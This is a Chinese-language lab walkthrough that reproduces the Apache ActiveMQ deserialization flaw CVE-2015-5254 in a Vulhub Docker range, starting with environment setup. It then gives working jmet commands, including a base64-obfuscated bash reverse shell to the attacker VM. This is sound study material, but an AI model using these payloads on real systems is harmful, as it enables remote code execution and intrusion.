一、漏洞前言
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
二、漏洞环境
1、要求有以下两台虚拟机
靶机:Centos 7(IP:192.168.229.160)
攻击机:kali(IP:192.168.229.131)
2、靶机的docker环境配置
[root@master ~]# yum install -y docker
3、启动docker服务,设置docker随开机自动开启
[root@master ~]# systemctl start docker.service
[root@master ~]# systemctl enable docker.service
4、安装docker-compose
Docker-compose用于组合服务与内网。有部分环境涉及到多个容器,且不同环境开启的端口、目录也不相同,所以Vulhub选择使用docker-compose做环境一键化管理工具。用户不再需要学习docker命令的各种参数与用法,只需要简单地执行docker-compose up -d即可启动容器。
[root@master ~]# sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
可以看到下载失败,查看是否出现断网情况
网络并没有问题,尝试关闭防火墙。
再次进行安装docker-compose
安装成功。
5、对二进制文件添加可执行权限,创建直接使用docker-compose命令的链接
[root@master ~]# ll /usr/local/bin/docker-compose
可以看到该文件并没有执行的权限,那么就需要给予授权,给到777
[root@master ~]# chmod 777 /usr/local/bin/docker-compose
# 创建链接
[root@master ~]# ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
6、安装Vulhub
# 安装git
[root@master ~]# yum -y install git
安装完毕
验证安装是否成功以及查看安装的版本。
到/usr目录下,下载Vulhub靶场资料到usr目录下
修改daemon.json文件,在编辑器中输入内容,并保存退出(/etc/docker)
## [root@master docker]# vi daemon.json
{
"registry-mirrors": ["https://nfesww3w.mirror.aliyuncs.com"]
}
7、重启docker
[root@master ~]# systemctl daemon-reload
[root@master ~]# systemctl restart docker
三、卡莉安装jdk环境
因为在复现这个漏洞的过程中,会涉及到java开发语言,所以需要配置jdk环境。
1、删除系统自带的openjdk
sudo apt-get remove --purge openjdk-*
sudo apt-get autoremove
sudo apt-get clean
## 执行以上三个命令。
2、安装jdk
到官网进行下载:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
## 1、进行解压到‘/opt’目录下:
tar -zxf /home/xiaozhu/Downlads -C /opt
## 2、将解压好的文件移动到local目录
mv jdk1.8.0_202 /usr/local/
## 3、配置环境变量
vi /etc/profile
JAVA_HOME=/usr/local/jdk1.8.0_202
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
## 4、注册安装jdk8
update-alternatives --install "/usr/bin/java" "java" "/usr/local/jdk1.8.0_202/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/jdk1.8.0_202/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/jdk1.8.0_202/bin/javaws" 1
## 5、设置默认jdk
update-alternatives --set java /usr/local/jdk1.8.0_202/bin/java
update-alternatives --set javac /usr/local/jdk1.8.0_202/bin/javac
update-alternatives --set javaws /usr/local/jdk1.8.0_202/bin/javaws
## 6、刷新环境变量,加载jdk
source /etc/profile
至此jdk就安装好了。
四、漏洞测试
1、选择靶场目录
选择CVE-2015-5254靶场环境,这个就是我们要做的漏洞环境目录
2、启动docker,会自动调用搭建漏洞环境
docker-compose build
docker-compose up -d
3、访问靶机的8186端口,看看是否部署成功
可以看到主页,然后点击Manage ActiveMQ broker 进入到登录界面,用户名和密码都是admin
登陆成功,当前Queues的消息队列是空的。
4、进行攻击靶场
构建攻击payload:
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
命令如下:(卡莉)
cd /opt
mkdir external
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
## 到kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/xiaozhu_test" -Yp ROME 192.168.229.160 61616
返回网站查看,可以看到队列里出现了一个event新的任务
点进event,点进去任务详情触发
进入docker检验漏洞是否存在,看看/tmp下面是否有我们写入的文件先查看docker的进程:docker ps
进入该容器:docker exec -it 96a9a39eb4ea /bin/bash
进入到‘/tmp’目录可以看到xiaozhu_test文件存在,说明漏洞利用成功。
5、反弹shell
可以看到文件被成功写入,确认漏洞之后就可以进行getshell,更换一下命令即可。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMzEvNDQ0NCAwPiYxIiA+IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.160 61616
可以看到队列消息显示为2
同时kali监听端口,并点击任务详情,kali上能看到成功返回的shell
反弹shell成功,至此漏洞复现完成。